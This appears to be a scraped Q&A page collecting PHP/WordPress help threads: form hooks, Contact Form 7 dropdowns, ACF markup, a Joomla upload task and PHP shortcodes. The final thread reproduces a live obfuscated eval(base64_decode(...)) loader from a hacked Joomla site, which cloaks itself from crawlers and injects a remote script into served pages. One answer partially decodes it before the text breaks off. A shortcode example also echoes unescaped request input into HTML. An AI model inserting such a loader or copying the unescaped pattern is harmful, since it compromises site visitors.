PHP: Accessing variables created with add_action() - php

I'm kinda learning php as I go along here (though I do have some experience in other languages), so I'm hoping someone can point me in the right direction.
I'm using an add_action() function in functions.php to access the form data from an Elementor form. Works fine from within add_action(), however I cannot return any of the variables to make them available elsewhere within functions.php (I've tried adding "return $fields").
There's probably an easy solution, but I've been wracking my brain all weekend, and haven't gotten anywhere. Any thoughts?
Side Note: I've read elsewhere that using filters may be a solution, but it doesn't seem to be as simple as changing "add_action()" to "add_filter()".
add_action( 'elementor_pro/forms/new_record', function( $record ) {
$form_name = $record->get_form_settings( 'form_name' );
if ( 'MyElementorForm' !== $form_name ) {
return;
}
$raw_fields = $record->get( 'fields' );
$fields = [];
foreach ( $raw_fields as $id => $field ) {
$fields[ $id ] = $field['value'];
}
$letter_type = $fields['LetterType'];
// Send Test Email //
if($letter_type === "1"){
$message = "Upload";
} elseif($letter_type === "0"){
$message = "PDF";
} else {
$message = "Fail " . gettype($letter_type) . " " . $letter_type;
}
mail(
"my#email_address.com",
"Test",
"Test Message " . $message
);}, 10, 2);

Related

Send all of a dropdown in Contact Form 7

I need to send a full array of custom field to a mail (dynamicaly populate) with contact Form 7 to work it here before sending :
// define the wpcf7_posted_data callback
function action_wpcf7_posted_data($array)
{
$a = get_field('date')
//WORK HERE
$array['Nom & Prénom'] = $array['name'];
unset($array['name']);
$array['E-mail'] = $array['email'];
unset($array['email']);
$array['Téléphone'] = $array['tel'];
unset($array['tel']);
$array['Profession'] = $array['job'];
unset($array['job']);
$array['Session'] = $array['upcoming-gigs'];
unset($array['upcoming-gigs']);
unset($array['privacy']);
return $array;
}
add_filter('wpcf7_posted_data', 'action_wpcf7_posted_data', 10, 1);
Because it's before sending a mail I can't call anything to compare before sending.
So I want to send all the data in a hidden input next to compare it.
This the two input in contact Form 7 :
[select upcoming-gigs data:gigs id:date] [hidden select upcoming-gigs2 data:gigs2]
My goal here is to send all the data of the hidden select.
I don't find a way to send all input in the mail.
Is it possible ? There is a better way ?
Thx
EDIT :
My question mark2 :
The goal is to send a mail with the date of the session and the id of it.
I use ACF and I have :
And after a dynamic dropdown, it's look like this for the user :
The problem is I don't have the id of the session, only the date.
To know the id I need to compar to the array of all the custom field, I can't import it during wpcf7_posted_data.
I think if I send all the data of the array in a hidden field, I could remake the array and find the id of the session my user choose.
I hope I'm clearer.
(I can't make a request in php during wpcf7_posted_data. Can I make an ajax request ?)
EDIT2 :
This my hidden select with session and text
This is the html of contact form 7 the rest is div for CSS
[select upcoming-date data:date id:date] [hidden select upcoming-date2 data:date2]
EDIT3 :
Okay get it.
The custom fields I use to make the dropdown are in two part id and text. I have the text part I need the id.
If I send every text and id in the mail I can compare to the answer of the user et add to the mail the right id.
Here the generated html : http://www.sharemycode.fr/5ax
EDIT 4 :
That where I write the id and text of the dropdown :
That where I create the select :
add_filter('wpcf7_form_tag_data_option', function ($n, $options, $args) {
$ses = (array)get_field('date_new');
$sesCount = count($ses);
$gigs = [];
$gigs2 = [];
if (in_array('gigs', $options)) {
for ($i = 0; $i < $sesCount; $i++) {
if ($ses[$i]['date_start'] > date('d-m-Y', time())) {
$a = "A réaliser entre le " . $ses[$i]['date_start'] . " et le " . $ses[$i]['date_end'] ." | bla";
array_push($gigs, $a);
}
}
return $gigs;
}
}
It looks like this is supported by Contact Form 7 natively, it's just not very obvious on how to make it happen.
Here's a documentation page explaining the functionality: http://contactform7.com/selectable-recipient-with-pipes/
Basically all you have to do is put the values like so:
Visible Value|actual-form-value
What comes before the pipe "|" character will be shown in the form, and what comes after will be the actual value filled in for the form.
EDIT kanarpp :
I add my code here to separate the answer of HowardE.
This is how I dynamicaly create my select :
add_filter('wpcf7_form_tag_data_option', function ($n, $options, $args) {
$ses = (array)get_field('date');
$sesCount = count($ses);
$date= [];
if (in_array('date', $options)) {
for ($i = 0; $i < $sesCount; $i++) {
if ($ses[$i]['date_start'] > date('d-m-Y', time())) {
$a = "A réaliser entre le " . $ses[$i]['date_start'] . " et le " . $ses[$i]['date_end'] ." | bla";
array_push($date, $a);
}
}
return $date;
}
It's not working, I use Smart Grid-Layout Design for Contact Form 7 to create dynmicaly my select
I would create a custom form tag for the select. The following code will create a custom form tag called [gigs] which would be used like this:
[gigs upcoming-gigs]
I've also included ability to add the * and make it required.
My assumptions are how you're actually getting the ACF fields, which I can't actually do, since I don't have them, and you haven't completely shared how it's stored. You would add this to your functions.php.
add_action('wpcf7_init', function (){
wpcf7_add_form_tag( array('gigs', 'gigs*'), 'dd_cf7_upcoming_gigs' , array('name-attr' => true) );
});
function dd_cf7_upcoming_gigs($tag) {
if ( empty( $tag->name ) ) {
return '';
}
$validation_error = wpcf7_get_validation_error( $tag->name );
$class = wpcf7_form_controls_class( $tag->type );
if ( $validation_error ) {
$class .= ' wpcf7-not-valid';
}
$atts = array();
$atts['class'] = $tag->get_class_option( $class );
$atts['id'] = $tag->get_id_option();
$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
if ( $tag->is_required() ) {
$atts['aria-required'] = 'true';
}
if ( $validation_error ) {
$atts['aria-invalid'] = 'true';
$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
$tag->name
);
} else {
$atts['aria-invalid'] = 'false';
}
// Make first option unselected and please choose
$html = '<option value="">- - '. __('Please Choose', 'text-domain'). ' - -</option>';
// This part you may have to update with your custom fields
$ses = (array)get_field('date_new');
$sesCount = count($ses);
for ($i = 0; $i < $sesCount; $i++) {
if ($ses[$i]['date_start'] > date('d-m-Y', time())) {
$a = "A réaliser entre le " . $ses[$i]['date_start'] . " et le " . $ses[$i]['date_end'];
// if session ID is in fact $ses[$i]['session']
$html .= sprintf( '<option %1$s>%2$s</option>',
$ses[$i]['session'], $a );
}
}
foreach ($gigs as $key => $value){
$html .= sprintf( '<option %1$s>%2$s</option>',
$key, $value );
}
$atts['name'] = $tag->name;
$atts = wpcf7_format_atts( $atts );
$html = sprintf(
'<span class="wpcf7-form-control-wrap %1$s"><select %2$s>%3$s</select>%4$s</span>',
sanitize_html_class( $tag->name ), $atts, $html, $validation_error
);
return $html;
}
add_filter( 'wpcf7_validate_gigs', 'dd_validate_gigs_filter', 10, 2 );
add_filter( 'wpcf7_validate_gigs*', 'dd_validate_gigs_filter', 10, 2 );
function dd_validate_gigs_filter( $result, $tag ) {
$name = $tag->name;
$has_value = isset( $_POST[$name] ) && '' !== $_POST[$name];
if ( $has_value and $tag->has_option( 'multiple' ) ) {
$vals = array_filter( (array) $_POST[$name], function( $val ) {
return '' !== $val;
} );
$has_value = ! empty( $vals );
}
if ( $tag->is_required() and ! $has_value ) {
$result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) );
}
return $result;
}

HTML form rendering in acf-field-functions.php

Within the this file of the Advanced Custom Fields (pro) plugin:
advanced-custom-fields-pro/includes/acf-field-functions.php
on rows 733 - 751 the fields HTML is rendered:
// Render HTML
echo "<$element $attributes_html>" . "\n";
if( $element !== 'td' ) {
echo "<$inner_element class=\"acf-label\">" . "\n";
acf_render_field_label( $field );
if( $instruction == 'label' ) {
acf_render_field_instructions( $field );
}
echo "</$inner_element>" . "\n";
}
echo "<$inner_element class=\"acf-input\">" . "\n";
acf_render_field( $field );
if( $instruction == 'field' ) {
acf_render_field_instructions( $field );
}
echo "</$inner_element>" . "\n";
echo "</$element>" . "\n";
Is it possible to change the class acf-label to uk-form-label and the class acf-input to uk-form-controls?
Maybe adding some code to my functions.php or maybe a code to replace the whole file or something?
I really really need this change to implement the UIKIT frontend framework...
Fingeres crossed....
PS. Or is there a way to completely overwrite the following function:
function acf_render_field_wrap( $field, $element = 'div', $instruction = 'label' ) {

Custom Joomla 3 Button task not executing in my controller

I am trying to upload an external list of "groups" to add to my custom Joomla 3 component. I have created a CSV file and written a few functions that I hope will do it. I have created a custom button to start the task in my "groups" view.
When I push the button I get an SQL error that has absoloutle nothing to do with the functions so I have tried debugging and when the button is pressed its not even getting to my controller task before the sql error. I am so confused as to why.
This is the code I have
view.html.php TestViewGroups
JToolBarHelper::custom('group.uploadsave', '', '', 'Upload and Save', false);
TestControllerGroup
protected function uploadsave() {
$detail_headers = array(
'agm_date',
'preferred_media'
);
$rows = array_map('str_getcsv', file('groupdata.csv'));
$header = array_shift($rows);
foreach ($rows as $row) {
$entry = array_combine($header, $row);
foreach ($entry as $key => $value) {
if(in_array($key, $detail_headers)){
$details[$key]= $value;
unset($entry[$key]);
}
}
$entry['details'] = $details;
$this->saveUploaded($entry);
}
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . '&view=' . $this->view_list
. $this->getRedirectToListAppend(), false
)
);
}
protected function saveUploaded($dataIn = array()) {
$app = JFactory::getApplication();
$lang = JFactory::getLanguage();
$model = $this->getModel();
$table = $model->getTable();
$data = $dataIn;
$checkin = property_exists($table, 'checked_out');
// Determine the name of the primary key for the data.
if (empty($key))
{
$key = $table->getKeyName();
}
// To avoid data collisions the urlVar may be different from the primary key.
if (empty($urlVar))
{
$urlVar = $key;
}
$recordId = $this->input->getInt($urlVar);
// Populate the row id from the session.
$data[$key] = $recordId;
if (!$model->save($validData))
{
// Redirect back to the edit screen.
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
$this->setMessage($this->getError(), 'error');
}
if ($checkin && $model->checkin($validData[$key]) === false)
{
// Save the data in the session.
$app->setUserState($context . '.data', $validData);
// Check-in failed, so go back to the record and display a notice.
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()));
$this->setMessage($this->getError(), 'error');
}
$this->setMessage(
JText::_(
($lang->hasKey($this->text_prefix . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS')
? $this->text_prefix
: 'JLIB_APPLICATION') . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS'
)
);
}
I am not using this as a regular function, its just a once off to upload the data initially.
The SQL error I am getting is like it is trying to load a list of groups?? not anything to do with the save function at all.
The saveUploaded is a similar function to the initial save function.
Thanks :-)
**** Edit *****
I have just followed the task through with debug and its getting to the execute task methotd of JControllerLegacy and because the task is not defined in the task map its defaulting to display, hence the SQL error trying to load a group when it doesn't have an ID. Do I need to now register a task in the task map before it will pick it up?
I am officially an idiot! When I just logged back on to see if anyone had responded I saw that I had declared the function as a protected function!! dir! I just copied and pasted from another function and forgot to change its access. I also made a few other changes and now it works quite well!
public function uploadsave() {
// An array of headers that will need to be entered into a seperate array to allow entry as JSON
$detail_headers = array(
'agm_date',
'preferred_media'
);
$app = JFactory::getApplication();
$lang = JFactory::getLanguage();
$model = $this->getModel();
$path = JPATH_COMPONENT . '/controllers/groupdata.csv';
//Load the file and pass each line into an array.
$rows = array_map('str_getcsv', file($path));
//Take out the first line as it is the headers.
$header = array_shift($rows);
//turn each of the arrays into an entry
foreach ($rows as $row) {
$entry = array_combine($header, $row);
foreach ($entry as $key => $value) {
//separate each of the entries that need to be entered into an array to be stored as JSON
if(in_array($key, $detail_headers)){
$details[$key]= $value;
unset($entry[$key]);
}
}
$entry['details'] = $details;
$recordId = 'id';
// Populate the row id from the session.
$entry[$key] = $recordId;
//Save each one
if (!$model->save($entry))
{
// Redirect back to the edit screen.
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
$this->setMessage($this->getError(), 'error');
return false;
}
$this->setMessage(
JText::_(
($lang->hasKey($this->text_prefix . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS')
? $this->text_prefix
: 'JLIB_APPLICATION') . ($recordId == 0 && $app->isSite() ? '_SUBMIT' : '') . '_SAVE_SUCCESS'
)
);
}
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . '&view=' . $this->view_list
. $this->getRedirectToListAppend(), false
)
);
}

Insert PHP code In WordPress Page and Post

I want to know the visitor country using PHP and display it in on a WordPress Page. But when I add PHP code to a WordPress page or post it gives me an error.
How can we add PHP code on WordPress pages and posts?
<?PHP
try
{
function visitor_country()
{
$client = #$_SERVER['HTTP_CLIENT_IP'];
$forward = #$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
$ip_data = #json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = array('ip' => $ip,
'continentCode' => $ip_data->geoplugin_continentCode,
'countryCode' => $ip_data->geoplugin_countryCode,
'countryName' => $ip_data->geoplugin_countryName,
);
}
return $result;
}
$visitor_details = visitor_country(); // Output Country name [Ex: United States]
$country = $visitor_details['countryName'];
WordPress does not execute PHP in post/page content by default unless it has a shortcode.
The quickest and easiest way to do this is to use a plugin that allows you to run PHP embedded in post content.
There are two other "quick and easy" ways to accomplish it without a plugin:
Make it a shortcode (put it in functions.php and have it echo the country name) which is very easy - see here: Shortcode API at WP Codex
Put it in a template file - make a custom template for that page based on your default page template and add the PHP into the template file rather than the post content: Custom Page Templates
You can't use PHP in the WordPress back-end Page editor. Maybe with a plugin you can, but not out of the box.
The easiest solution for this is creating a shortcode. Then you can use something like this
function input_func( $atts ) {
extract( shortcode_atts( array(
'type' => 'text',
'name' => '',
), $atts ) );
return '<input name="' . $name . '" id="' . $name . '" value="' . (isset($_GET\['from'\]) && $_GET\['from'\] ? $_GET\['from'\] : '') . '" type="' . $type . '" />';
}
add_shortcode( 'input', 'input_func' );
See the Shortcode_API.
Description:
there are 3 steps to run PHP code inside post or page.
In functions.php file (in your theme) add new function
In functions.php file (in your theme) register new shortcode which call your function:
add_shortcode( 'SHORCODE_NAME', 'FUNCTION_NAME' );
use your new shortcode
Example #1: just display text.
In functions:
function simple_function_1() {
return "Hello World!";
}
add_shortcode( 'own_shortcode1', 'simple_function_1' );
In post/page:
[own_shortcode1]
Effect:
Hello World!
Example #2: use for loop.
In functions:
function simple_function_2() {
$output = "";
for ($number = 1; $number < 10; $number++) {
// Append numbers to the string
$output .= "$number<br>";
}
return "$output";
}
add_shortcode( 'own_shortcode2', 'simple_function_2' );
In post/page:
[own_shortcode2]
Effect:
1
2
3
4
5
6
7
8
9
Example #3: use shortcode with arguments
In functions:
function simple_function_3($name) {
return "Hello $name";
}
add_shortcode( 'own_shortcode3', 'simple_function_3' );
In post/page:
[own_shortcode3 name="John"]
Effect:
Hello John
Example #3 - without passing arguments
In post/page:
[own_shortcode3]
Effect:
Hello
When I was trying to accomplish something very similar, I ended up doing something along these lines:
wp-content/themes/resources/functions.php
add_action('init', 'my_php_function');
function my_php_function() {
if (stripos($_SERVER['REQUEST_URI'], 'page-with-custom-php') !== false) {
// add desired php code here
}
}

Fake antivirus redirection

My client's website was hacked, now the main URL redirects to a fake antivirus web page. So for now she has set a "contruction in progress" message with Joomla. Below is the code of the index.php page, in which I was hoping to find the damned redirection. But I can't. Can anybody help me finding it ?
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXskR0xPQkFMU1snbXJfbm8nXT0xO2lmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtmdW5jdGlvbiBnbWwoKXtpZiAoIXN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJnb29nbGVib3QiKSYmKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpe3JldHVybiBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RDQnpjbU05SW1oMGRIQTZMeTloWTNKdmMzTjFibWwyWlhKelpXbDBZbVZ2Y21jdVkyOXRMMjF0TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTt9cmV0dXJuICIiO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7JFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDtpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7JFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxO31pZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7fSRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpO2lmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7JFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDO31yZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9fWZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7aWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpO31lbHNle3JldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpO319b2Jfc3RhcnQoJ21yb2JoJyk7fX0="));?><?php
/**
* #version $Id: index.php 6022 2006-12-18 22:30:07Z friesengeist $
* #package Joomla
* #copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* #license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_VALID_MOS', 1 );
// checks for configuration file, if none found loads installation page
if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
exit();
}
require( 'globals.php' );
require_once( 'configuration.php' );
// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}
require_once( 'includes/joomla.php' );
//Installation sub folder check, removed for work with SVN
if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
define( '_INSTALL_CHECK', 1 );
include ( $mosConfig_absolute_path .'/offline.php');
exit();
}
// displays offline/maintanance page or bar
if ($mosConfig_offline == 1) {
require( $mosConfig_absolute_path .'/offline.php' );
}
// load system bot group
$_MAMBOTS->loadBotGroup( 'system' );
// trigger the onStart events
$_MAMBOTS->trigger( 'onStart' );
if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
} else {
require_once( $mosConfig_absolute_path .'/includes/sef.php' );
}
require_once( $mosConfig_absolute_path .'/includes/frontend.php' );
// retrieve some expected url (or form) arguments
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
$Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );
if ($option == '') {
if ($Itemid) {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND id = " . (int) $Itemid
. "\n AND published = 1"
;
$database->setQuery( $query );
} else {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
}
$menu = new mosMenu( $database );
if ($database->loadObject( $menu )) {
$Itemid = $menu->id;
}
$link = $menu->link;
if (($pos = strpos( $link, '?' )) !== false) {
$link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
}
parse_str( $link, $temp );
/** this is a patch, need to rework when globals are handled better */
foreach ($temp as $k=>$v) {
$GLOBALS[$k] = $v;
$_REQUEST[$k] = $v;
if ($k == 'option') {
$option = $v;
}
}
}
if ( !$Itemid ) {
// when no Itemid give a default value
$Itemid = 99999999;
}
// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '.' );
$mainframe->initSession();
// trigger the onAfterStart events
$_MAMBOTS->trigger( 'onAfterStart' );
// checking if we can find the Itemid thru the content
if ( $option == 'com_content' && $Itemid === 0 ) {
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$Itemid = $mainframe->getItemid( $id );
}
/** do we have a valid Itemid yet?? */
if ( $Itemid === 0 ) {
/** Nope, just use the homepage then. */
$query = "SELECT id"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
$Itemid = $database->loadResult();
}
// patch to lessen the impact on templates
if ($option == 'search') {
$option = 'com_search';
}
// loads english language file by default
if ($mosConfig_lang=='') {
$mosConfig_lang = 'english';
}
include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );
// frontend login & logout controls
$return = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
$message = intval( mosGetParam( $_POST, 'message', 0 ) );
if ($option == 'login') {
$mainframe->login();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or login pages
// If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
}
} else {
// If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $mosConfig_live_site .'/index.php' );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
}
}
} else if ($option == 'logout') {
$mainframe->logout();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or logout pages
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site.'/index.php' );
}
} else if ($option == 'cookiecheck') {
// No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosErrorAlert( _ALERT_ENABLED );
}
}
/** get the information about the current user from the sessions table */
$my = $mainframe->getUser();
// detect first visit
$mainframe->detect();
// set for overlib check
$mainframe->set( 'loadOverlib', false );
$gid = intval( $my->gid );
// gets template for page
$cur_template = $mainframe->getTemplate();
/** temp fix - this feature is currently disabled */
/** #global A places to store information from processing of the component */
$_MOS_OPTION = array();
// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );
ob_start();
if ($path = $mainframe->getPath( 'front' )) {
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
$ret = mosMenuCheck( $Itemid, $option, $task, $gid );
if ($ret) {
require_once( $path );
} else {
mosNotAuth();
}
} else {
header( 'HTTP/1.0 404 Not Found' );
echo _NOT_EXIST;
}
$_MOS_OPTION['buffer'] = ob_get_contents();
ob_end_clean();
initGzip();
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
// display the offline alert if an admin is logged in
if (defined( '_ADMIN_OFFLINE' )) {
include( $mosConfig_absolute_path .'/offlinebar.php' );
}
// loads template file
if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
echo _TEMPLATE_WARN . $cur_template;
} else {
require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
echo '<!-- '. time() .' -->';
}
// displays queries performed for page
if ($mosConfig_debug) {
echo $database->_ticker . ' queries executed';
echo '<pre>';
foreach ($database->_log as $k=>$sql) {
echo $k+1 . "\n" . $sql . '<hr />';
}
echo '</pre>';
}
doGzip();
?>
That bit at the beginning with the exec(base64_decode()) nonsense is your target. Not a part of your CMS, skeezy as hell.
Delete it and rejoice. And then update the Drupal instance, change the root and user passwords, and subscribe to Drupal dev's update RSS so you can stop this happening again.
So assuming you want to understand how that single line works, I went and decoded the base 64 string that is being evaluated as PHP code. It gives the following code
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){$GLOBALS['mr_no']=1;if(!function_exists('mrobh')){if(!function_exists('gml')){function gml(){if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");}return "";}}if(!function_exists('gzdecode')){function 